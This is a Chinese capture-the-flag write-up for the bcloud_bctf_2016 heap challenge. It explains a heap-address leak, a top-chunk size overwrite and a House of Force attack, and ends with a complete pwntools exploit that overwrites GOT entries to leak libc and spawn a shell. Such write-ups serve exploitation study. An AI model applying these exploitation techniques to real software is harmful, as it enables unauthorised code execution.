bcloud_bctf_2016
bcloud_bctf_2016
总结
根据本题,学习与收获有:
house of force
不需要保证top chunk
的size
域是合法的,但是house of orange
需要保证size
域合法,因为后一种利用方式会把top chunk
放在unsorted bin
,会有chunk size
的检查。house of force
一般需要泄露出heap
地址,并且需要能改写top chunk
的size
域,还要能分配任意大小的内存,总的来说,条件还是很多的。可以直接分配到got
表附近,但是这样会破坏一些got
表的内容,也可分配到堆指针数组,一般在bss
或者data
段。strcpy
会一直拷贝源字符串,直到遇到\x0a
或者\x00
字符。并且在拷贝结束后,尾部添加一个\x00
字符,很多off by one
的题目就是基于此。
题目分析
题目的运行环境是ubuntu 16
,使用libc-2.23.so
。
checksec
注意:arch
为i386-32-little
。
函数分析
很明显,这又是一个菜单题。首先来看main
函数:
main
在进入while
循环之前,首先调用了welcome
函数引用与参考[1],然后再去执行循环体。继续来看一下welcome
中有什么操作。
welcome
这里面调了两个函数,继续分析
get_name
这里面操作为:
- 向栈变量
s
写入0x40
大小的数据,有一个字节的溢出 - 申请内存,
malloc(0x40)
,得到的chunk
大小为0x48
- 调用
strcpy
,把s
的数据拷贝到刚刚申请的chunk
的用户内存区域。
这里存在一个漏洞点,越界拷贝了堆地址,在后面的漏洞点中会有分析。
顺便放一下read_off_by_one
函数和put_info
函数:
read_off_by_one:
put_info:
get_org_host
这里涉及到两次向栈变量上写数据,并且两次申请堆内存,两次调用strcpy
接口。这里存在着溢出漏洞,后续漏洞点中会进一步分析。
menu
new_note
此住需要注意的点有:
ptr_array
里面最多填满10
个地址- 实际申请的
chunk
的大小是size + 4
,能写的大小却是size
,基本上不能使用off by one
show_note
edit_note
从ptr_array
数组和ptr_size
数组中取出存储的地址和大小,并重新获取用户输入并写入数据。
del_note
释放指针指向的内存后直接将指针置为0
漏洞点
一开始看这个程序的时候,一直把目光对准了while
循环体里面,几个关于note
的函数,因为一般情况下,漏洞点会出现在这些函数里面,事实证明,惯性思维害死人。找了半天,啥洞也没找到,最后把目光聚焦在welcome
里面的两个函数,才发现了利用点。接下来,详细讲一讲漏洞点。
漏洞点1:get_name泄露堆地址
get_name:
这里画一下栈内存与堆内存的变化:
填充内容前:
填充内容后:
因此,当填慢0x40
个可见字符后,调用put_info
打印内容的时候会把上面的chunk
的地址给打印出来。
漏洞点2:get_org_host修改top chunk的size域
get_org_host函数:
填充前:
往栈变量s
和p
写了数据,并分配内存后:
执行两次strcpy
后:
可以看到top chunk
的size
域被更改了。
利用思路
知识点
- 本题主要使用House of Force Attack,注意,这个攻击方法在
2.23、2.27
版本的libc
是奏效的,在libc-2.29.so
加了top chunk
的size
域合法性的校验。 - 计算大小的时候,可以就直接给
malloc
传一个负数,会自动转化为正整数的。 - 可以在调试过程中确定要分配的那个大小,计算得到的
size
可能会有一些偏移。
利用过程
利用步骤:
- 在
get_name
接口中,输入0x40 * 'a'
,泄露出堆地址 - 通过
get_org_host
覆盖top chunk
的size
,修改为0xffffffff
。 - 利用
house of force
分配到ptr_array
,即地址为0x0x804b120
。 - 连续分配4个用户大小为
0x44
大小的chunk A、B、C、D
。那么,编辑chunk A
的时候,就能直接修改ptr_array
数组元素的地址。引用与参考[2]。 - 调用
edit_note
,编辑chunk A
,将ptr_array[2]
设置为free@got
,将ptr_array[3]
设置为printf@got
。 - 调用
edit_note
,编辑ptr_array[2]
的内容为puts@plt
,就是将free@got
修改为了puts@plt
地址。 - 调用
del_note
,去释放ptr_array[3]
,实际上调用的是puts
打印出来了printf
的地址。 - 再次调用
edit_note
,编辑chunk A
,将ptr_array[0]
设置为0x804b130
,ptr_array[2]
设置为free@got
,将ptr_array[4]
写为/bin/sh
- 调用
edit_note
,将free@got
修改为了system
地址 - 调用
del_note
,释放ptr_array[0]
,即可getshell
EXP
调试过程
定义好函数:
def new_note(size, content, io:tube=sh):
io.sendlineafter('option--->>\n', '1')
io.sendlineafter("Input the length of the note content:\n", str(size))
io.sendlineafter("Input the content:\n", content)
io.recvline()
def edit_note(idx, content, io:tube=sh):
io.sendlineafter('option--->>\n', '3')
io.sendlineafter("Input the id:\n", str(idx))
io.sendlineafter("Input the new content:\n", content)
io.recvline()
def del_note(idx, io:tube=sh):
io.sendlineafter('option--->>\n', '4')
io.sendlineafter("Input the id:\n", str(idx))
执行get_name
,泄露heap
地址:
sh.sendafter("Input your name:\n", 'a' * 0x40)
sh.recvuntil('a' * 0x40)
leak_heap_addr = u32(sh.recvn(4))
LOG_ADDR('leak_heap_addr', leak_heap_addr)
执行get_org_host
,修改top chunk
的size
为0xffffffff
:
sh.sendafter("Org:\n", 'a' * 0x40)
sh.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'a')
sh.recvuntil("OKay! Enjoy:)\n")
计算出top chunk
的地址,分配到0x804b120
:
top_chunk_addr = leak_heap_addr + 0xd0
ptr_array = 0x804b120
margin = ptr_array - top_chunk_addr
new_note(margin - 20, "") # 0
连续分配四块chunk
,修改free@got
的内容为puts@plt
,泄露出libc
的地址:
free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010
for _ in range(4):
new_note(0x40, 'aa')
edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got))
edit_note(2, p32(puts_plt))
del_note(3)
msg = sh.recvuntil("Delete success.\n")
printf_addr = u32(msg[:4])
LOG_ADDR('printf_addr', printf_addr)
计算出system
地址,修改free@got
为system
函数的地址,并准备好/bin/sh
:
system_addr = printf_addr - offset
edit_note(1, p32(0x804b130) * 2 + p32(free_got) * 2 + b'/bin/sh')
edit_note(2, p32(system_addr))
释放带有/bin/sh
的chunk
,即可getshell
:
del_note(0)
完整exp
from pwn import *
context.update(arch='i386', os='linux')
sh = process('./bcloud_bctf_2016')
LOG_ADDR = lambda s, i:log.info('{} ===> {}'.format(s, i))
def new_note(size, content, io:tube=sh):
io.sendlineafter('option--->>\n', '1')
io.sendlineafter("Input the length of the note content:\n", str(size))
io.sendlineafter("Input the content:\n", content)
io.recvline()
def edit_note(idx, content, io:tube=sh):
io.sendlineafter('option--->>\n', '3')
io.sendlineafter("Input the id:\n", str(idx))
io.sendlineafter("Input the new content:\n", content)
io.recvline()
def del_note(idx, io:tube=sh):
io.sendlineafter('option--->>\n', '4')
io.sendlineafter("Input the id:\n", str(idx))
sh.sendafter("Input your name:\n", 'a' * 0x40)
sh.recvuntil('a' * 0x40)
leak_heap_addr = u32(sh.recvn(4))
LOG_ADDR('leak_heap_addr', leak_heap_addr)
sh.sendafter("Org:\n", 'a' * 0x40)
sh.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'a')
sh.recvuntil("OKay! Enjoy:)\n")
top_chunk_addr = leak_heap_addr + 0xd0
ptr_array = 0x804b120
margin = ptr_array - top_chunk_addr
new_note(margin - 20, "") # 0
free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010
for _ in range(4):
new_note(0x40, 'aa')
edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got))
edit_note(2, p32(puts_plt))
del_note(3)
msg = sh.recvuntil("Delete success.\n")
printf_addr = u32(msg[:4])
LOG_ADDR('printf_addr', printf_addr)
if all_parsed_args['debug_enable']:
offset = 0xe8d0 # 0x10470
else:
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
LOG_ADDR('libc_base', libc_base)
offset = libc.dump('printf') - libc.dump('system')
LOG_ADDR('offset', offset)
system_addr = printf_addr - offset
edit_note(1, p32(0x804b130) * 2 + p32(free_got) * 2 + b'/bin/sh')
edit_note(2, p32(system_addr))
del_note(0)
sh.interactive()
引用与参考
以下为引用与参考,可能以脚注的形式呈现!
[1]:本文的函数均已重命名,原二进制文件不带符号信息
[2]:其实这里可以直接去控制ptr_size
数组,一直到ptr_array
,这样还可以控制size
,分配一个chunk
就够操作了。
bcloud_bctf_2016的更多相关文章
- bcloud_bctf_2016(house of force)
例行检查我就不放了,该程序是32位的程序 将程序放入ida中 进行代码审计 首先这这里有一个off by null 可以通过这里泄露出来第一个chunk的地址信息 这里也有同样的问题,我看ha1vk师 ...
随机推荐
- dart系列之:dart中的异步编程
目录 简介 为什么要用异步编程 怎么使用 Future 异步异常处理 在同步函数中调用异步函数 总结 简介 熟悉javascript的朋友应该知道,在ES6中引入了await和async的语法,可以方 ...
- [EntityFramework]记录Linq中如何比较数据库中Timestamp列的方法(如大于0x00000000000007D1的记录)
Timestamp对于EF实体的类型是byte[] class Program { static void Main(string[] args) { using (var context = new ...
- [bzoj1107]驾驶考试
转化题意,如果一个点k符合条件,当且仅当k能到达1和n考虑如果l和r($l<r$)符合条件,容易证明那么[l,r]的所有点都将会符合条件,因此答案是一个区间枚举答案区间[l,r],考虑如何判定答 ...
- C语言下的Led灯
1. 设计思想 1.1 设置处理器模式 设置sp啥的汇编要先进入SVC模式,超级管理员特权模式,这样就可以访问所有寄存器了,需要用到cpsr寄存器 0到4位要设置svc模式10011 = 0x13, ...
- final关键字、抽象类、抽象类和接口的区别
1.final关键字 1.1.final修饰的类无法继承. 1.2.final修饰的方法无法覆盖. 1.3.final修饰的变量只能赋一次值. 1.4.final修饰的引用一旦指向某个对象,则不能再重 ...
- WebRTC从摄像头获取图片传入canvas
WebRTC从摄像头获取图片传入canvas 前面我们已经能够利用WebRTC的功能,通过浏览器打开摄像头,并把预览的图像显示在video元素中. 接下来我们尝试从视频中截取某一帧,显示在界面上. h ...
- 解决texlive化学式转换镜像经常偶发性进程堆积导致卡顿问题
前言 之前在 使用Python定时清理运行超时的pdflatex僵尸进程 博文中我采用python脚本开启定时任务清理pdflatex僵尸进程,线上4u2G的k8s pod部署了3个,pdflatex ...
- Feed系统设计分析(类似微博的用户动态分享问题)
Feed系统 最近在研究一个个人动态分享平台,对动态的推送方式有些疑惑,于是研究到了以下结果. 简介 在信息学里面,Feed其实是一个信息单元,比如一条朋友圈状态.一条微博.一条资讯或一条短视频等,所 ...
- 51nod 1355 - 斐波那契的最小公倍数(Min-Max 容斥+莫比乌斯反演)
vjudge 题面传送门 首先我们知道斐波那契数列的 lcm 是不太容易计算的,但是它们的 gcd 非常容易计算--\(\gcd(f_x,f_y)=f_{\gcd(x,y)}\),该性质已在我的这篇博 ...
- Jvarkit : Java utilities for Bioinformatics
Jvarkit : Java utilities for Bioinformatics :一个java写的生物信息工具包:http://lindenb.github.io/jvarkit/